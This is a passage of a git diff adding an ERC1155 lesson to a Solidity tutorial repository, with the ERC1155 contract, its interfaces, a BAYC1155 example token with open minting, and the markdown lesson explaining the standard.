view the logs like below. + +There are four key pieces of information: +- The `Transfer` event +- The minting address `0x0000000000000000000000000000000000000000` +- The receiving address `0x5B38Da6a701c568545dCfcB03FcB875f56beddC4` +- The token amount `100` + +![Minting tokens](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/31_ERC20_en/step1/img/31-2.png) + +We use the `balanceOf()` function to check the account balance. By inputting our current account, we can see the balance of our account is `100` which means minting is successful. + +The account information is shown on the left like below image, and the details of the function execution are indicated on the right side. + +![Check Balance](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/31_ERC20_en/step1/img/31-3.png) + +## Summary + +In this lesson, we learned about the `ERC20` standard and its implementation on the Ethereum network, and issued our own test token. The `ERC20` token standard proposed at the end of 2015 greatly lowered the threshold for issuing tokens on the Ethereum network and ushered in the era of `ICO`. When investing, carefully read the project's token contract to effectively avoid risks and increase investment success rate. diff --git a/SolidityBasics_Part3_Applications/step10/BAYC1155.sol b/SolidityBasics_Part3_Applications/step10/BAYC1155.sol new file mode 100644 index 000000000..2c568ae22 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step10/BAYC1155.sol @@ -0,0 +1,37 @@ +// SPDX-License-Identifier: MIT +// by 0xAA +pragma solidity ^0.8.21; + +import "./ERC1155.sol"; + +contract BAYC1155 is ERC1155 { + uint256 constant MAX_ID = 10000; + + // Constructor + constructor() ERC1155("BAYC1155", "BAYC1155") {} + + // BAYC's baseURI is ipfs://QmeSjSinHpPnmXmspMjwiXyN6zS4E9zccariGR3jxcaWtq/ + function _baseURI() internal pure override returns (string memory) { + return "ipfs://QmeSjSinHpPnmXmspMjwiXyN6zS4E9zccariGR3jxcaWtq/"; + } + + // Mint function + function mint(address to, uint256 id, uint256 amount) external { + // id cannot exceed 10,000 + require(id < MAX_ID, "id overflow"); + _mint(to, id, amount, ""); + } + + // Batch mint function + function mintBatch( + address to, + uint256[] memory ids, + uint256[] memory amounts + ) external { + // id cannot exceed 10,000 + for (uint256 i = 0; i < ids.length; i++) { + require(ids[i] < MAX_ID, "id overflow"); + } + _mintBatch(to, ids, amounts, ""); + } +} diff --git a/SolidityBasics_Part3_Applications/step10/ERC1155.sol b/SolidityBasics_Part3_Applications/step10/ERC1155.sol new file mode 100644 index 000000000..ba2ac5bf2 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step10/ERC1155.sol @@ -0,0 +1,395 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "./IERC1155.sol"; +import "./IERC1155Receiver.sol"; +import "./IERC1155MetadataURI.sol"; +import "../34_ERC721_en/Address.sol"; +import "../34_ERC721_en/String.sol"; +import "../34_ERC721_en/IERC165.sol"; + +/** + * @dev ERC1155 multi-token standard + * See https://eips.ethereum.org/EIPS/eip-1155 + */ +contract ERC1155 is IERC165, IERC1155, IERC1155MetadataURI { + using Address for address; // use the Address library, isContract to determine whether the address is a contract + using Strings for uint256; // use the Strings library + // Token name + string public name; + // Token code name + string public symbol; + // Mapping from token type id to account account to balances + mapping(uint256 => mapping(address => uint256)) private _balances; + // Batch authorization mapping from initiator address to authorized address operator to whether to authorize bool + mapping(address => mapping(address => bool)) private _operatorApprovals; + + /** + * Constructor, initialize `name` and `symbol`, uri_ + */ + constructor(string memory name_, string memory symbol_) { + name = name_; + symbol = symbol_; + } + + /** + * @dev See {IERC165-supportsInterface}. + */ + function supportsInterface( + bytes4 interfaceId + ) public view virtual override returns (bool) { + return + interfaceId == type(IERC1155).interfaceId || + interfaceId == type(IERC1155MetadataURI).interfaceId || + interfaceId == type(IERC165).interfaceId; + } + + /** + * @dev Balance query function implements balanceOf of IERC1155 and returns the number of token holdings of the id type of the account address. + */ + function balanceOf( + address account, + uint256 id + ) public view virtual override returns (uint256) { + require( + account != address(0), + "ERC1155: address zero is not a valid owner" + ); + return _balances[id][account]; + } + + /** + * @dev Batch balance query + * Require: + * - `accounts` and `ids` arrays are of equal length. + */ + function balanceOfBatch( + address[] memory accounts, + uint256[] memory ids + ) public view virtual override returns (uint256[] memory) { + require( + accounts.length == ids.length, + "ERC1155: accounts and ids length mismatch" + ); + uint256[] memory batchBalances = new uint256[](accounts.length); + for (uint256 i = 0; i < accounts.length; ++i) { + batchBalances[i] = balanceOf(accounts[i], ids[i]); + } + return batchBalances; + } + + /** + * @dev Batch authorization function, the caller authorizes the operator to use all its tokens + * Release {ApprovalForAll} event + * Condition: msg.sender != operator + */ + function setApprovalForAll( + address operator, + bool approved + ) public virtual override { + require( + msg.sender != operator, + "ERC1155: setting approval status for self" + ); + _operatorApprovals[msg.sender][operator] = approved; + emit ApprovalForAll(msg.sender, operator, approved); + } + + /** + * @dev Batch authorization query. + */ + function isApprovedForAll( + address account, + address operator + ) public view virtual override returns (bool) { + return _operatorApprovals[account][operator]; + } + + /** + * @dev Secure transfer function, transfer `id` type token of `amount` unit from `from` to `to` + * Release the {TransferSingle} event. + * Require: + * - to cannot be 0 address. + * - from has enough balance and the caller has authorization + * - If to is a smart contract, it must support IERC1155Receiver-onERC1155Received. + */ + function safeTransferFrom( + address from, + address to, + uint256 id, + uint256 amount, + bytes memory data + ) public virtual override { + address operator = msg.sender; + // The caller is the holder or authorized + require( + from == operator || isApprovedForAll(from, operator), + "ERC1155: caller is not token owner nor approved" + ); + require(to != address(0), "ERC1155: transfer to the zero address"); + // from address has enough balance + uint256 fromBalance = _balances[id][from]; + require( + fromBalance >= amount, + "ERC1155: insufficient balance for transfer" + ); + // update position + unchecked { + _balances[id][from] = fromBalance - amount; + } + _balances[id][to] += amount; + // release event + emit TransferSingle(operator, from, to, id, amount); + // Security check + _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); + } + + /** + * @dev Batch security transfer function, transfer tokens of the `ids` array type in the `amounts` array unit from `from` to `to` + * Release the {TransferSingle} event. + * Require: + * - to cannot be 0 address. + * - from has enough balance and the caller has authorization + * - If to is a smart contract, it must support IERC1155Receiver-onERC1155BatchReceived. + * - ids and amounts arrays have equal length + */ + function safeBatchTransferFrom( + address from, + address to, + uint256[] memory ids, + uint256[] memory amounts, + bytes memory data + ) public virtual override { + address operator = msg.sender; + // The caller is the holder or authorized + require( + from == operator || isApprovedForAll(from, operator), + "ERC1155: caller is not token owner nor approved" + ); + require( + ids.length == amounts.length, + "ERC1155: ids and amounts length mismatch" + ); + require(to != address(0), "ERC1155: transfer to the zero address"); + + // Update balance through for loop + for (uint256 i = 0; i < ids.length; ++i) { + uint256 id = ids[i]; + uint256 amount = amounts[i]; + + uint256 fromBalance = _balances[id][from]; + require( + fromBalance >= amount, + "ERC1155: insufficient balance for transfer" + ); + unchecked { + _balances[id][from] = fromBalance - amount; + } + _balances[id][to] += amount; + } + + emit TransferBatch(operator, from, to, ids, amounts); + // Security check + _doSafeBatchTransferAcceptanceCheck( + operator, + from, + to, + ids, + amounts, + data + ); + } + + /** + * @dev Mint function + * Release the {TransferSingle} event. + */ + function _mint( + address to, + uint256 id, + uint256 amount, + bytes memory data + ) internal virtual { + require(to != address(0), "ERC1155: mint to the zero address"); + + address operator = msg.sender; + + _balances[id][to] += amount; + emit TransferSingle(operator, address(0), to, id, amount); + + _doSafeTransferAcceptanceCheck( + operator, + address(0), + to, + id, + amount, + data + ); + } + + /** + * @dev Batch mint function + * Release the {TransferBatch} event. + */ + function _mintBatch( + address to, + uint256[] memory ids, + uint256[] memory amounts, + bytes memory data + ) internal virtual { + require(to != address(0), "ERC1155: mint to the zero address"); + require( + ids.length == amounts.length, + "ERC1155: ids and amounts length mismatch" + ); + + address operator = msg.sender; + + for (uint256 i = 0; i < ids.length; i++) { + _balances[ids[i]][to] += amounts[i]; + } + + emit TransferBatch(operator, address(0), to, ids, amounts); + + _doSafeBatchTransferAcceptanceCheck( + operator, + address(0), + to, + ids, + amounts, + data + ); + } + + /** + * @dev destroy + */ + function _burn(address from, uint256 id, uint256 amount) internal virtual { + require(from != address(0), "ERC1155: burn from the zero address"); + + address operator = msg.sender; + + uint256 fromBalance = _balances[id][from]; + require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); + unchecked { + _balances[id][from] = fromBalance - amount; + } + + emit TransferSingle(operator, from, address(0), id, amount); + } + + /** + * @dev batch destruction + */ + function _burnBatch( + address from, + uint256[] memory ids, + uint256[] memory amounts + ) internal virtual { + require(from != address(0), "ERC1155: burn from the zero address"); + require( + ids.length == amounts.length, + "ERC1155: ids and amounts length mismatch" + ); + + address operator = msg.sender; + + for (uint256 i = 0; i < ids.length; i++) { + uint256 id = ids[i]; + uint256 amount = amounts[i]; + + uint256 fromBalance = _balances[id][from]; + require( + fromBalance >= amount, + "ERC1155: burn amount exceeds balance" + ); + unchecked { + _balances[id][from] = fromBalance - amount; + } + } + + emit TransferBatch(operator, from, address(0), ids, amounts); + } + + // @dev ERC1155 security transfer check + function _doSafeTransferAcceptanceCheck( + address operator, + address from, + address to, + uint256 id, + uint256 amount, + bytes memory data + ) private { + if (to.isContract()) { + try + IERC1155Receiver(to).onERC1155Received( + operator, + from, + id, + amount, + data + ) + returns (bytes4 response) { + if (response != IERC1155Receiver.onERC1155Received.selector) { + revert("ERC1155: ERC1155Receiver rejected tokens"); + } + } catch Error(string memory reason) { + revert(reason); + } catch { + revert("ERC1155: transfer to non-ERC1155 Receiver implementer"); + } + } + } + + // @dev ERC1155 batch security transfer check + function _doSafeBatchTransferAcceptanceCheck( + address operator, + address from, + address to, + uint256[] memory ids, + uint256[] memory amounts, + bytes memory data + ) private { + if (to.isContract()) { + try + IERC1155Receiver(to).onERC1155BatchReceived( + operator, + from, + ids, + amounts, + data + ) + returns (bytes4 response) { + if ( + response != IERC1155Receiver.onERC1155BatchReceived.selector + ) { + revert("ERC1155: ERC1155Receiver rejected tokens"); + } + } catch Error(string memory reason) { + revert(reason); + } catch { + revert("ERC1155: transfer to non-ERC1155 Receiver implementer"); + } + } + } + + /** + * @dev Returns the uri of the id type token of ERC1155, stores metadata, similar to the tokenURI of ERC721. + */ + function uri( + uint256 id + ) public view virtual override returns (string memory) { + string memory baseURI = _baseURI(); + return + bytes(baseURI).length > 0 + ? string(abi.encodePacked(baseURI, id.toString())) + : ""; + } + + /** + * Calculate the BaseURI of {uri}, uri is splicing baseURI and tokenId together, which needs to be rewritten by development. + */ + function _baseURI() internal view virtual returns (string memory) { + return ""; + } +} diff --git a/SolidityBasics_Part3_Applications/step10/IERC1155.sol b/SolidityBasics_Part3_Applications/step10/IERC1155.sol new file mode 100644 index 000000000..9710b8327 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step10/IERC1155.sol @@ -0,0 +1,111 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "../34_ERC721_en/IERC165.sol"; + +/** + * @dev ERC1155 standard interface contract, realizes the function of EIP1155 + * See: https://eips.ethereum.org/EIPS/eip-1155[EIP]. + */ +interface IERC1155 is IERC165 { + /** + * @dev single-type token transfer event + * Released when `value` tokens of type `id` are transferred from `from` to `to` by `operator`. + */ + event TransferSingle( + address indexed operator, + address indexed from, + address indexed to, + uint256 id, + uint256 value + ); + + /** + * @dev multi-type token transfer event + * ids and values are arrays of token types and quantities transferred + */ + event TransferBatch( + address indexed operator, + address indexed from, + address indexed to, + uint256[] ids, + uint256[] values + ); + + /** + * @dev volume authorization event + * Released when `account` authorizes all tokens to `operator` + */ + event ApprovalForAll( + address indexed account, + address indexed operator, + bool approved + ); + + /** + * @dev Released when the URI of the token of type `id` changes, `value` is the new URI + */ + event URI(string value, uint256 indexed id); + + /** + * @dev Balance inquiry, returns the position of the token of `id` type owned by `account` + */ + function balanceOf( + address account, + uint256 id + ) external view returns (uint256); + + /** + * @dev Batch balance inquiry, the length of `accounts` and `ids` arrays have to wait. + */ + function balanceOfBatch( + address[] calldata accounts, + uint256[] calldata ids + ) external view returns (uint256[] memory); + + /** + * @dev Batch authorization, authorize the caller's tokens to the `operator` address. + * Release the {ApprovalForAll} event. + */ + function setApprovalForAll(address operator, bool approved) external; + + /** + * @dev Batch authorization query function, if the authorization address `operator` is authorized by `account`, return `true` + * See {setApprovalForAll} function. + */ + function isApprovedForAll( + address account, + address operator + ) external view returns (bool); + + /** + * @dev Secure transfer, transfer `amount` unit `id` type token from `from` to `to`. + * Release {TransferSingle} event. + * Require: + * - If the caller is not a `from` address but an authorized address, it needs to be authorized by `from` + * - `from` address must have enough open positions + * - If the receiver is a contract, it needs to implement the `onERC1155Received` method of `IERC1155Receiver` and return the corresponding value + */ + function safeTransferFrom( + address from, + address to, + uint256 id, + uint256 amount, + bytes calldata data + ) external; + + /** + * @dev Batch security transfer + * Release {TransferBatch} event + * Require: + * - `ids` and `amounts` are of equal length + * - If the receiver is a contract, it needs to implement the `onERC1155BatchReceived` method of `IERC1155Receiver` and return the corresponding value + */ + function safeBatchTransferFrom( + address from, + address to, + uint256[] calldata ids, + uint256[] calldata amounts, + bytes calldata data + ) external; +} diff --git a/SolidityBasics_Part3_Applications/step10/IERC1155MetadataURI.sol b/SolidityBasics_Part3_Applications/step10/IERC1155MetadataURI.sol new file mode 100644 index 000000000..dc4a874e6 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step10/IERC1155MetadataURI.sol @@ -0,0 +1,14 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "./IERC1155.sol"; + +/** + * Optional interface of @dev ERC1155, added uri() function to query metadata + */ +interface IERC1155MetadataURI is IERC1155 { + /** + * @dev Returns the URI of the `id` type token + */ + function uri(uint256 id) external view returns (string memory); +} diff --git a/SolidityBasics_Part3_Applications/step10/IERC1155Receiver.sol b/SolidityBasics_Part3_Applications/step10/IERC1155Receiver.sol new file mode 100644 index 000000000..a0ee220a6 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step10/IERC1155Receiver.sol @@ -0,0 +1,33 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "../34_ERC721_en/IERC165.sol"; + +/** + * @dev ERC1155 receiving contract, to accept the secure transfer of ERC1155, this contract needs to be implemented + */ +interface IERC1155Receiver is IERC165 { + /** + * @dev accept ERC1155 safe transfer `safeTransferFrom` + * Need to return 0xf23a6e61 or `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` + */ + function onERC1155Received( + address operator, + address from, + uint256 id, + uint256 value, + bytes calldata data + ) external returns (bytes4); + + /** + * @dev accept ERC1155 batch safe transfer `safeBatchTransferFrom` + * Need to return 0xbc197c81 or `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` + */ + function onERC1155BatchReceived( + address operator, + address from, + uint256[] calldata ids, + uint256[] calldata values, + bytes calldata data + ) external returns (bytes4); +} diff --git a/SolidityBasics_Part3_Applications/step10/img/40-1.jpg b/SolidityBasics_Part3_Applications/step10/img/40-1.jpg new file mode 100644 index 000000000..f140ed3d1 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step10/img/40-1.jpg differ diff --git a/SolidityBasics_Part3_Applications/step10/img/40-2.jpg b/SolidityBasics_Part3_Applications/step10/img/40-2.jpg new file mode 100644 index 000000000..12d59d37d Binary files /dev/null and b/SolidityBasics_Part3_Applications/step10/img/40-2.jpg differ diff --git a/SolidityBasics_Part3_Applications/step10/img/40-3.jpg b/SolidityBasics_Part3_Applications/step10/img/40-3.jpg new file mode 100644 index 000000000..1a9f614e5 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step10/img/40-3.jpg differ diff --git a/SolidityBasics_Part3_Applications/step10/img/40-4.jpg b/SolidityBasics_Part3_Applications/step10/img/40-4.jpg new file mode 100644 index 000000000..9411823ab Binary files /dev/null and b/SolidityBasics_Part3_Applications/step10/img/40-4.jpg differ diff --git a/SolidityBasics_Part3_Applications/step10/img/40-5.jpg b/SolidityBasics_Part3_Applications/step10/img/40-5.jpg new file mode 100644 index 000000000..5c86ec659 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step10/img/40-5.jpg differ diff --git a/SolidityBasics_Part3_Applications/step10/img/40-6.jpg b/SolidityBasics_Part3_Applications/step10/img/40-6.jpg new file mode 100644 index 000000000..a1a4e2c1b Binary files /dev/null and b/SolidityBasics_Part3_Applications/step10/img/40-6.jpg differ diff --git a/SolidityBasics_Part3_Applications/step10/img/40-7.jpg b/SolidityBasics_Part3_Applications/step10/img/40-7.jpg new file mode 100644 index 000000000..7d1d6dab2 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step10/img/40-7.jpg differ diff --git a/SolidityBasics_Part3_Applications/step10/img/40-8.jpg b/SolidityBasics_Part3_Applications/step10/img/40-8.jpg new file mode 100644 index 000000000..c34ffa749 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step10/img/40-8.jpg differ diff --git a/SolidityBasics_Part3_Applications/step10/step1.md b/SolidityBasics_Part3_Applications/step10/step1.md new file mode 100644 index 000000000..78772d1a1 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step10/step1.md @@ -0,0 +1,723 @@ +--- +title: 40. ERC1155 +tags: + - solidity + - application + - wtfacademy + - ERC1155 +--- + +# WTF Solidity Crash Course: 40. ERC1155 + +I am currently relearning Solidity to reinforce my knowledge of its intricacies and write a "WTF Solidity Crash Course" for beginners (expert programmers may seek out other tutorials). Updates will be given on a weekly basis, covering 1-3 lessons per week. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Discord: [WTF Academy](https://discord.gg/5akcruXrsk) + +All code and tutorials are open source on Github: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +In this lecture, we will learn about the `ERC1155` standard, which allows a contract to contain multiple types of tokens. We will also issue a modified version of the Boring Ape Yacht Club (BAYC) called `BAYC1155`, which contains 10,000 types of tokens with metadata identical to BAYC. + +## `EIP1155` +Both the `ERC20` and `ERC721` standards correspond to a single token contract. For example, if we wanted to create a large game similar to World of Warcraft on Ethereum, we would need to deploy a contract for each piece of equipment. Deploying and managing thousands of contracts is very cumbersome. Therefore, the [Ethereum EIP1155](https://eips.ethereum.org/EIPS/eip-1155) proposes a multi-token standard called `ERC1155`, which allows a contract to contain multiple homogeneous and heterogeneous tokens. `ERC1155` is widely used in GameFi applications, and well-known blockchain games such as Decentraland and Sandbox use it. + +In simple terms, `ERC1155` is similar to the previously introduced non-fungible token standard [ERC721](https://github.com/AmazingAng/WTF-Solidity/tree/main/34_ERC721): In `ERC721`, each token has a `tokenId` as a unique identifier, and each `tokenId` corresponds to only one token; in `ERC1155`, each type of token has an `id` as a unique identifier, and each `id` corresponds to one type of token. This way, the types of tokens can be managed heterogeneously in the same contract, and each type of token has a URL `uri` to store its metadata, similar to `tokenURI` in `ERC721`. The following is the metadata interface contract `IERC1155MetadataURI` for `ERC1155`: + +```solidity +/** + * @dev Optional ERC1155 interface that adds the uri() function for querying metadata + */ +interface IERC1155MetadataURI is IERC1155 { + /** + * @dev Returns the URI of the token type `id`. + */ + function uri(uint256 id) external view returns (string memory); +``` + +How to distinguish whether a type of token in `ERC1155` is a fungible or a non-fungible token? It's actually simple: if the total amount of a token corresponding to a specific `id` is `1`, then it is a non-fungible token, similar to `ERC721`; if the total amount of a token corresponding to a specific `id` is greater than `1`, then it is a fungible token because these tokens share the same `id`, similar to `ERC20`. + +## `IERC1155` Interface Contract + +The `IERC1155` interface contract abstracts the functionalities required for `EIP1155` implementation, which includes `4` events and `6` functions. Unlike `ERC721`, since `ERC1155` includes multiple types of tokens, it implements batch transfer and batch balance query, allowing for simultaneous operation on multiple types of tokens. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "../34_ERC721_en/IERC165.sol"; + +/** + * @dev ERC1155 standard interface contract, realizes the function of EIP1155 + * See: https://eips.ethereum.org/EIPS/eip-1155[EIP]. + */ +interface IERC1155 is IERC165 { + /** + * @dev single-type token transfer event + * Released when `value` tokens of type `id` are transferred from `from` to `to` by `operator`. + */ + event TransferSingle( + address indexed operator, + address indexed from, + address indexed to, + uint256 id, + uint256 value + ); + + /** + * @dev multi-type token transfer event + * ids and values are arrays of token types and quantities transferred + */ + event TransferBatch( + address indexed operator, + address indexed from, + address indexed to, + uint256[] ids, + uint256[] values + ); + + /** + * @dev volume authorization event + * Released when `account` authorizes all tokens to `operator` + */ + event ApprovalForAll( + address indexed account, + address indexed operator, + bool approved + ); + + /** + * @dev Released when the URI of the token of type `id` changes, `value` is the new URI + */ + event URI(string value, uint256 indexed id); + + /** + * @dev Balance inquiry, returns the position of the token of `id` type owned by `account` + */ + function balanceOf( + address account, + uint256 id + ) external view returns (uint256); + + /** + * @dev Batch balance inquiry, the length of `accounts` and `ids` arrays have to wait. + */ + function balanceOfBatch( + address[] calldata accounts, + uint256[] calldata ids + ) external view returns (uint256[] memory); + + /** + * @dev Batch authorization, authorize the caller's tokens to the `operator` address. + * Release the {ApprovalForAll} event. + */ + function setApprovalForAll(address operator, bool approved) external; + + /** + * @dev Batch authorization query, if the authorization address `operator` is authorized by `account`, return `true` + * See {setApprovalForAll} function. + */ + function isApprovedForAll( + address account, + address operator + ) external view returns (bool); + + /** + * @dev Secure transfer, transfer `amount` unit `id` type token from `from` to `to`. + * Release {TransferSingle} event. + * Require: + * - If the caller is not a `from` address but an authorized address, it needs to be authorized by `from` + * - `from` address must have enough open positions + * - If the receiver is a contract, it needs to implement the `onERC1155Received` method of `IERC1155Receiver` and return the corresponding value + */ + function safeTransferFrom( + address from, + address to, + uint256 id, + uint256 amount, + bytes calldata data + ) external; + + /** + * @dev Batch security transfer + * Release {TransferBatch} event + * Require: + * - `ids` and `amounts` are of equal length + * - If the receiver is a contract, it needs to implement the `onERC1155BatchReceived` method of `IERC1155Receiver` and return the corresponding value + */ + function safeBatchTransferFrom( + address from, + address to, + uint256[] calldata ids, + uint256[] calldata amounts, + bytes calldata data + ) external; +} +``` + +### `IERC1155` Events +- `TransferSingle` event: released during the transfer of a single type of token in a single token transfer. +- `TransferBatch` event: released during the transfer of multiple types of tokens in a multi-token transfer. +- `ApprovalForAll` event: released during a batch approval of tokens. +- `URI` event: released when the metadata address changes during a change of the `uri`. + +### `IERC1155` Functions +- `balanceOf()`: checks the token balance of a single type returned as the amount of tokens owned by `account` for an `id`. +- `balanceOfBatch()`: checks the token balances of multiple types returned as amounts of tokens owned by `account` for an array of `ids`. +- `setApprovalForAll()`: grants approvals to an `operator` of all tokens owned by the caller. +- `isApprovedForAll()`: checks the authorization status of an `operator` for a given `account`. +- `safeTransferFrom()`: performs the transfer of a single type of safe `ERC1155` token from the `from` address to the `to` address. If the `to` address is a contract, it must implement the `onERC1155Received()` function. +- `safeBatchTransferFrom()`: similar to the `safeTransferFrom()` function, but allows for transfers of multiple types of tokens. The `amounts` and `ids` arguments are arrays with a length equal to the number of transfers. If the `to` address is a contract, it must implement the `onERC1155BatchReceived()` function. + +## `ERC1155` Receive Contract + +Similar to the `ERC721` standard, to prevent tokens from being sent to a "black hole" contract, `ERC1155` requires token receiving contracts to inherit from `IERC1155Receiver` and implement two receiving functions: + +- `onERC1155Received()`: function called when receiving a single token transfer, must implement and return the selector `0xf23a6e61`. + +- `onERC1155BatchReceived()`: This is the multiple token transfer receiving function which needs to be implemented and return its own selector `0xbc197c81` in order to accept ERC1155 safe multiple token transfers through the `safeBatchTransferFrom` function. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "../34_ERC721_en/IERC165.sol"; + +/** + * @dev ERC1155 receiving contract, to accept the secure transfer of ERC1155, this contract needs to be implemented + */ +interface IERC1155Receiver is IERC165 { + /** + * @dev accept ERC1155 safe transfer `safeTransferFrom` + * Need to return 0xf23a6e61 or `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` + */ + function onERC1155Received( + address operator, + address from, + uint256 id, + uint256 value, + bytes calldata data + ) external returns (bytes4); + + /** + * @dev accept ERC1155 batch safe transfer `safeBatchTransferFrom` + * Need to return 0xbc197c81 or `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` + */ + function onERC1155BatchReceived( + address operator, + address from, + uint256[] calldata ids, + uint256[] calldata values, + bytes calldata data + ) external returns (bytes4); +} +``` + +## Main Contract `ERC1155` + +The `ERC1155` main contract implements the functions specified by the `IERC1155` interface contract, as well as the functions for minting and burning single/multiple tokens. + +### Variables in `ERC1155` + +The `ERC1155` main contract contains `4` state variables: + +- `name`: token name +- `symbol`: token symbol +- `_balances`: token ownership mapping, which records the token balance `balances` of address `account` for token `id` +- `_operatorApprovals`: batch approval mapping, which records the approval situation of the holder address to another address. + +### Functions in `ERC1155` + +The `ERC1155` main contract contains `16` functions: + +- Constructor: Initializes state variables `name` and `symbol`. +- `supportsInterface()`: Implements the `ERC165` standard to declare the interfaces supported by it, which can be checked by other contracts. +- `balanceOf()`: Implements `IERC1155`'s `balanceOf()` to query the token balance. Unlike the `ERC721` standard, it requires the address for which the balance is queried (`account`) and the token `id` to be provided. + +- `balanceOfBatch()`: Implements `balanceOfBatch()` of `IERC1155`, which allows for batch querying of token balances. +- `setApprovalForAll()`: Implements `setApprovalForAll()` of `IERC1155`, which allows for batch authorization, and emits the `ApprovalForAll` event. +- `isApprovedForAll()`: Implements `isApprovedForAll()` of `IERC1155`, which allows for batch query of authorization information. +- `safeTransferFrom()`: Implements `safeTransferFrom()` of `IERC1155`, which allows for safe transfer of a single type of token, and emits the `TransferSingle` event. Unlike `ERC721`, this function not only requires the `from` (sender), `to` (recipient), and token `id`, but also the transfer amount `amount`. +- `safeBatchTransferFrom()`: Implements `safeBatchTransferFrom()` of `IERC1155`, which allows for safe transfer of multiple types of tokens, and emits the `TransferBatch` event. +- `_mint()`: Function for minting a single type of token. +- `_mintBatch()`: Function for minting multiple types of tokens. +- `_burn()`: Function for burning a single type of token. +- `_burnBatch()`: Function for burning multiple types of tokens. +- `_doSafeTransferAcceptanceCheck()`: Safety check for single type token transfers, called by `safeTransferFrom()`, ensures that the recipient has implemented the `onERC1155Received()` function when the recipient is a contract. +- `_doSafeBatchTransferAcceptanceCheck()`: Safety check for multiple types of token transfers, called by `safeBatchTransferFrom()`, ensures that the recipient has implemented the `onERC1155BatchReceived()` function when the recipient is a contract. +- `uri()`: Returns the URL where the metadata of the token of type `id` is stored for `ERC1155`, similar to `tokenURI` for `ERC721`. +- `baseURI()`: Returns the `baseURI`. `uri` is simply `baseURI` concatenated with `id`, and can be overwritten by developers. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "./IERC1155.sol"; +import "./IERC1155Receiver.sol"; +import "./IERC1155MetadataURI.sol"; +import "../34_ERC721_en/Address.sol"; +import "../34_ERC721_en/String.sol"; +import "../34_ERC721_en/IERC165.sol"; + +/** + * @dev ERC1155 multi-token standard + * See https://eips.ethereum.org/EIPS/eip-1155 + */ +contract ERC1155 is IERC165, IERC1155, IERC1155MetadataURI { + using Address for address; // use the Address library, isContract to determine whether the address is a contract + using Strings for uint256; // use the Strings library + // Token name + string public name; + // Token code name + string public symbol; + // Mapping from token type id to account account to balances + mapping(uint256 => mapping(address => uint256)) private _balances; + // Batch authorization mapping from initiator address to authorized address operator to whether to authorize bool + mapping(address => mapping(address => bool)) private _operatorApprovals; + + /** + * Constructor, initialize `name` and `symbol`, uri_ + */ + constructor(string memory name_, string memory symbol_) { + name = name_; + symbol = symbol_; + } + + /** + * @dev See {IERC165-supportsInterface}. + */ + function supportsInterface( + bytes4 interfaceId + ) public view virtual override returns (bool) { + return + interfaceId == type(IERC1155).interfaceId || + interfaceId == type(IERC1155MetadataURI).interfaceId || + interfaceId == type(IERC165).interfaceId; + } + + /** + * @dev Balance query function implements balanceOf of IERC1155 and returns the number of token holdings of the id type of the account address. + */ + function balanceOf( + address account, + uint256 id + ) public view virtual override returns (uint256) { + require( + account != address(0), + "ERC1155: address zero is not a valid owner" + ); + return _balances[id][account]; + } + + /** + * @dev Batch balance query + * Require: + * - `accounts` and `ids` arrays are of equal length. + */ + function balanceOfBatch( + address[] memory accounts, + uint256[] memory ids + ) public view virtual override returns (uint256[] memory) { + require( + accounts.length == ids.length, + "ERC1155: accounts and ids length mismatch" + ); + uint256[] memory batchBalances = new uint256[](accounts.length); + for (uint256 i = 0; i < accounts.length; ++i) { + batchBalances[i] = balanceOf(accounts[i], ids[i]); + } + return batchBalances; + } + + /** + * @dev Batch authorization function, the caller authorizes the operator to use all its tokens + * Release {ApprovalForAll} event + * Condition: msg.sender != operator + */ + function setApprovalForAll( + address operator, + bool approved + ) public virtual override { + require( + msg.sender != operator, + "ERC1155: setting approval status for self" + ); + _operatorApprovals[msg.sender][operator] = approved; + emit ApprovalForAll(msg.sender, operator, approved); + } + + /** + * @dev Batch authorization query. + */ + function isApprovedForAll( + address account, + address operator + ) public view virtual override returns (bool) { + return _operatorApprovals[account][operator]; + } + + /** + * @dev Secure transfer function, transfer `id` type token of `amount` unit from `from` to `to` + * Release the {TransferSingle} event. + * Require: + * - to cannot be 0 address. + * - from has enough balance and the caller has authorization + * - If to is a smart contract, it must support IERC1155Receiver-onERC1155Received. + */ + function safeTransferFrom( + address from, + address to, + uint256 id, + uint256 amount, + bytes memory data + ) public virtual override { + address operator = msg.sender; + // The caller is the holder or authorized + require( + from == operator || isApprovedForAll(from, operator), + "ERC1155: caller is not token owner nor approved" + ); + require(to != address(0), "ERC1155: transfer to the zero address"); + // from address has enough balance + uint256 fromBalance = _balances[id][from]; + require( + fromBalance >= amount, + "ERC1155: insufficient balance for transfer" + ); + // update position + unchecked { + _balances[id][from] = fromBalance - amount; + } + _balances[id][to] += amount; + // release event + emit TransferSingle(operator, from, to, id, amount); + // Security check + _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); + } + + /** + * @dev Batch security transfer function, transfer tokens of the `ids` array type in the `amounts` array unit from `from` to `to` + * Release the 